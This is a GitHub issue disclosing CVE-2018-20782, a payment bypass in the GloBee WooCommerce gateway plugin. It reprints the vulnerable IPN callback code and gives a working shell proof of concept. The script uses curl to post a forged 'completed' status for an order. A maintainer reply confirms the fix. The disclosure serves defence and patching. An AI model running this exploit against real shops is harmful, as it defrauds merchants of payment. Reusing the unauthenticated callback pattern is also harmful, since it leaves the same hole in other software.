Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Public disclosure on CVE-2018-20782 [Payment Bypass / Unauthorized Order Status Spoofing] #3

Closed
633kh4ck opened this issue Feb 19, 2019 · 1 comment

Comments

@633kh4ck
Copy link

633kh4ck commented Feb 19, 2019

CVE-2018-20782

Reliance on untrusted inputs (CWE-807), insufficient data verification and lack of any cryptographic authentication (hmac etc) at IPN callback allow remote (even unauthorized) attacker to bypass payment process and spoof real order status without actually paying for it.

Vulnerable code (fixed in PR #2)

public function ipn_callback()
{
// Retrieve the Invoice ID and Network URL from the supposed IPN data
$post = file_get_contents("php://input");
if (true === empty($post)) {
error_log('GloBee plugin received empty POST data for an IPN message.');
wp_die('No post data');
}
$json = json_decode($post, true);
if (!isset($json['id'])) {
error_log('GloBee plugin received an invalid JSON payload sent to IPN handler: '.$post);
wp_die('Invalid JSON');
}
if (false === array_key_exists('custom_payment_id', $json)) {
error_log(
'GloBee plugin did not receive a Payment ID present in JSON payload: '.var_export($json, true)
);
wp_die('No Custom Payment ID');
}
if (false === array_key_exists('status', $json)) {
error_log('GloBee plugin did not receive a status present in JSON payload: '.var_export($json, true));
wp_die('No Status');
}
$orderId = $json['custom_payment_id'];
$this->log('Processing Callback for Order ID: '.$orderId);
if (false === isset($orderId) && true === empty($orderId)) {
error_log('The GloBee payment plugin was called to process an IPN message but no order ID was set.');
throw new \Exception(
'The GloBee payment plugin was called to process an IPN message but no order ID was set.'
);
}
$order = wc_get_order($orderId);
if (false === $order || 'WC_Order' !== get_class($order)) {
error_log(
'The GloBee payment plugin was called to process an IPN message but could not retrieve the order details for order_id '.$orderId
);
throw new \Exception(
'The GloBee payment plugin was called to process an IPN message but could not retrieve the order details for order_id '.$orderId
);
}
$current_status = $order->get_status();
if (false === isset($current_status) && true === empty($current_status)) {
error_log(
'The GloBee payment plugin was called to process an IPN message but could not obtain the current status from the order.'
);
throw new \Exception(
'The GloBee payment plugin was called to process an IPN message but could not obtain the current status from the order.'
);
}
$orderStates = get_option('globee_woocommerce_order_states');
$paid_status = $orderStates['paid'];
$confirmed_status = $orderStates['confirmed'];
$complete_status = $orderStates['complete'];
$invalid_status = $orderStates['invalid'];
$status = $json['status'];
if (false === isset($status) && true === empty($status)) {
error_log(
'The GloBee payment plugin was called to process an IPN message but could not obtain the new status from the payment request.'
);
throw new \Exception(
'The GloBee payment plugin was called to process an IPN message but could not obtain the new status from the payment request.'
);
}
$paymentApi = $this->get_payment_api();
$paymentRequest = $paymentApi->getPaymentRequest($json['id']);
if ($paymentRequest->customPaymentId != $orderId) {
error_log(
'Trying to update an order where the order ID does not match the custom payment ID from the GloBee Payment Request.'
);
throw new \Exception(
'Trying to update an order where the order ID does not match the custom payment ID from the GloBee Payment Request.'
);
}
switch ($status) {
case 'paid':
if (!($current_status == $complete_status || 'wc_'.$current_status == $complete_status || $current_status == 'completed')) {
$order->update_status($paid_status);
$order->add_order_note(
__(
'GloBee payment paid. Awaiting network confirmation and payment '
.'completed status.',
'globee'
)
);
}
break;
case 'confirmed':
if (!($current_status == $complete_status || 'wc_'.$current_status == $complete_status || $current_status == 'completed')) {
$order->update_status($confirmed_status);
$order->add_order_note(
__(
'GloBee payment confirmed. Awaiting payment completed status.',
'globee'
)
);
}
break;
case 'completed':
if (!($current_status == $complete_status || 'wc_'.$current_status == $complete_status || $current_status == 'completed')) {
$order->payment_complete();
$order->update_status($complete_status);
$order->add_order_note(
__(
'GloBee payment completed. Payment credited to your merchant '
.'account.',
'globee'
)
);
}
break;
case 'invalid':
if (!($current_status == $complete_status || 'wc_'.$current_status == $complete_status || $current_status == 'completed')) {
$order->update_status(
$invalid_status,
__(
'Payment is invalid for this order! The '
.'payment was not confirmed by the network within 1 hour. Do not ship the product for '
.'this order!',
'globee'
)
);
}
break;
}
error_log('[INFO] Changed Order '.$orderId.'\'s state from '.$current_status.' to '.$status);
}

Affected versions: ≤ 1.1.1
Tested on: WordPress 4.9.9 + WooCommerce 3.5.1 + GloBee Payment Gateway Plugin 1.1.1

Proof-of-Concept PoC (php): exploit-db.com/exploits/46414

PoC (shell):

#!/bin/sh -

: ${3?$'\n'"Usage: $0 SHOP_URL PAYMENT_ID ORDER_ID"}
url=${1%/}
pid=${2}
oid=${3//[!0-9]/}

echo "Shop URL: $url"
echo "Payment ID: $pid"
echo "Order ID: $oid"

confirm() {
  read -r -p "${1:-$'\nAre you sure? [y/N]'} " response
  case "$response" in
      [yY][eE][sS]|[yY]) 
          true
          ;;
      *)
          false
          ;;
  esac
}

payload() {
  cat <<EOF
{
  "id": "$pid",
  "status": "completed",
  "custom_payment_id": "$oid"
}
EOF
}

confirm && response=$(curl -s -X POST \
  "$url/wc-api/globee_ipn_callback" \
  -H 'cache-control: no-cache' \
  -H 'content-type: application/json' \
  -d "$(payload)"
) && echo "Done: $response"

@rznag
Copy link
Contributor

rznag commented Feb 19, 2019

Fixed in #2, users have been contacted, please upgrade to https://globee.com/plugin_files/woocommerce/globee-woocommerce-payment-api-1.1.2.zip
Thanks again GeekHack for your responsible report and assistance

@rznag rznag closed this as completed Feb 19, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants